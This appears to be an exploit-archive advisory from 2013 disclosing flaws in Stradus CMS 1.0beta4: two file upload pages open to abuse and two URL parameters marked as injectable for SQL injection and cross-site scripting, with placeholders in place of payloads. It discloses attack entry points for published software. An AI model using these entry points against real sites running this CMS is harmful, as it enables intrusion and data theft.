[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Stradus CMS 1.0beta4 - Multiple Vulnerabilities
# Published : 2013-03-22
# Author :
# Previous Title : ClipShare 4.1.1 - Multiples Vulnerabilites
# Next Title : Wordpress Mathjax Latex Plugin 1.1 - CSRF Vulnerability


##########################################
[~] Exploit Title: Stradus CMS Multiple Vulnerabilities
[~] Date: 21-03-2013
[~] Author: DaOne aka Mocking Bird
[~] Vendor Homepage: http://stradus.eu/
[~] Software Link: http://sourceforge.net/projects/straduscms/
[~] Category: webapps/php
[~] Version: 1.0beta4
[~] Tested on: Apache/2.2.8(Win32) PHP/5.2.6
##########################################

# File Upload
http://localhost/SCMS_1.0/moduls/photo_album/upload.php
http://localhost/SCMS_1.0/moduls/simply_image/upload.php

# XSS / SQL Injection
http://localhost/SCMS_1.0/adminfiles/log_view.php?order_by={SQLi/XSS}
http://localhost/SCMS_1.0/moduls/photo_album/new.php?edit={SQLi/XSS}